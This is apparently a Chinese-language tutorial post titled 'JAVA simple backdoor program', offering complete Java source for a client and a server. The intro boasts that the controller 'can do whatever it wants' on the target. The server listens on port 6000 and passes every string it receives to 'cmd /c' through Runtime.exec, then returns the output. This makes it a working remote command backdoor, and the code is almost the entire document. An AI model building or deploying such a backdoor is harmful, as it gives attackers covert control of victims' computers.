JAVA简单后门程序
主要是用网络编程技巧,调用被控计算机的本地命令,这样就可以为所欲为了。。。
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import
java.awt.*;
import
java.awt.event.*;
import
java.io.*;
import
java.net.*;
public
class
Client
extends
Frame
implements
ActionListener {
Label label =
new
Label(
"指令"
);
Panel panel =
new
Panel();
TextField tf =
new
TextField(
20
);
TextArea ta =
new
TextArea();
Socket client;
InputStream in;
OutputStream out;
public
Client() {
super
(
"客户机"
);
setSize(
250
,
250
);
panel.add(label);
panel.add(tf);
tf.addActionListener(
this
);
add(
"South"
, panel);
add(
"Center"
, ta);
addWindowListener(
new
WindowAdapter() {
//退出
public
void
windowClosing(WindowEvent e) {
System.exit(
0
);
}
});
show();
try
{
client =
new
Socket(InetAddress.getLocalHost(),
6000
);
//向6000端口发出客户请求
ta.append(
"服务器是:"
+ client.getInetAddress().getHostAddress() +
"\n\n"
);
in = client.getInputStream();
out = client.getOutputStream();
}
catch
(IOException ioe) {
}
while
(
true
) {
try
{
byte
[] buf =
new
byte
[
256
];
in.read(buf);
String str =
new
String(buf);
ta.append(str +
"\n"
);
}
catch
(IOException e) {
}
}
}
public
void
actionPerformed(ActionEvent e) {
try
{
String str = tf.getText();
byte
[] buf = str.getBytes();
tf.setText(
null
);
out.write(buf);
ta.append(
"\n指令:"
+ str +
"\n"
);
}
catch
(IOException ioe) {
}
}
public
static
void
main(String[] args) {
new
Client();
}
}
|
服务端:
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import
java.io.*;
import
java.net.*;
import
java.awt.*;
import
java.awt.event.*;
public
class
Server
extends
Frame
{
ServerSocket server;
Socket client;
InputStream in;
OutputStream out;
public
Server()
{
super
(
"服务器"
);
setSize(
250
,
250
);
addWindowListener(
new
WindowAdapter(){
public
void
windowClosing(WindowEvent e)
{
System.exit(
0
);
}
});
show();
try
{
server=
new
ServerSocket(
6000
);
client=server.accept();
in=client.getInputStream();
out=client.getOutputStream();
}
catch
(IOException ioe){}
while
(
true
){
try
{
String Result=
null
;
byte
[]buf=
new
byte
[
256
];
in.read(buf);
String str=
new
String(buf);
Process p = Runtime.getRuntime().exec(
"cmd /c "
+str);
BufferedReader br=
new
BufferedReader(
new
InputStreamReader(p.getInputStream()));
while
((Result=br.readLine())!=
null
)
{
out.write(Result.getBytes());
}
}
catch
(IOException e){}
}
}
public
static
void
main(String[]args)
{
new
Server();
}
}
|